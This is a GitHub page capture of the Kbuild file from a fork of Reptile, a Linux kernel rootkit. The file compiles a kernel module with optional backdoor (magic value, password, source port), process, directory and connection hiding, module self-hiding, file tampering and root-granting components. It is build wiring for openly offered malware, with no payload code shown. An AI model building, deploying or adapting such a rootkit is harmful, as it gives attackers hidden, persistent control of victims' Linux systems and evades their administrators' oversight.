forked from f0rb1dd3n/Reptile
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Kbuild
39 lines (29 loc) · 1.65 KB
/
Kbuild
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
MODNAME ?= reptile_module
CONFIG_FILE := $(src)/../.config
include $(CONFIG_FILE)
ccflags-y += -I$(src)/include -Werror -fno-stack-protector -fomit-frame-pointer
ldflags-y += -T$(src)/khook/engine.lds
obj-m += $(MODNAME).o
$(MODNAME)-y += main.o string_helpers.o util.o
$(MODNAME)-$(CONFIG_BACKDOOR) += backdoor.o
$(MODNAME)-$(CONFIG_HIDE_PROC) += proc.o
$(MODNAME)-$(CONFIG_HIDE_DIR) += dir.o
$(MODNAME)-$(CONFIG_FILE_TAMPERING) += file.o
$(MODNAME)-$(CONFIG_HIDE_CONN) += network.o
$(MODNAME)-$(CONFIG_AUTO_HIDE) += module.o
ccflags-$(CONFIG_BACKDOOR) += -DCONFIG_BACKDOOR
ccflags-$(CONFIG_BACKDOOR) += -DMAGIC_VALUE=\"$(MAGIC_VALUE)\"
ccflags-$(CONFIG_BACKDOOR) += -DPASSWORD=\"$(PASSWORD)\"
ccflags-$(CONFIG_BACKDOOR) += -DSRCPORT=$(SRCPORT)
ccflags-$(CONFIG_FILE_TAMPERING) += -DCONFIG_FILE_TAMPERING
ccflags-$(CONFIG_FILE_TAMPERING) += -DTAG_NAME=\"$(TAG_NAME)\"
ccflags-$(CONFIG_HIDE_DIR) += -DCONFIG_HIDE_DIR
ccflags-$(CONFIG_HIDE_DIR) += -DHIDE=\"$(HIDE)\"
ccflags-$(CONFIG_HIDE_PROC) += -DCONFIG_HIDE_PROC
ccflags-$(CONFIG_HIDE_CONN) += -DCONFIG_HIDE_CONN
ccflags-$(CONFIG_AUTO_HIDE) += -DCONFIG_AUTO_HIDE
ccflags-$(CONFIG_GIVE_ROOT) += -DCONFIG_GIVE_ROOT
ccflags-y += -DAUTH=$(AUTH)
ccflags-y += -DHTUA=$(HTUA)
KBUILD_CFLAGS := $(filter-out -pg,$(KBUILD_CFLAGS))
KBUILD_CFLAGS := $(filter-out -mfentry,$(KBUILD_CFLAGS))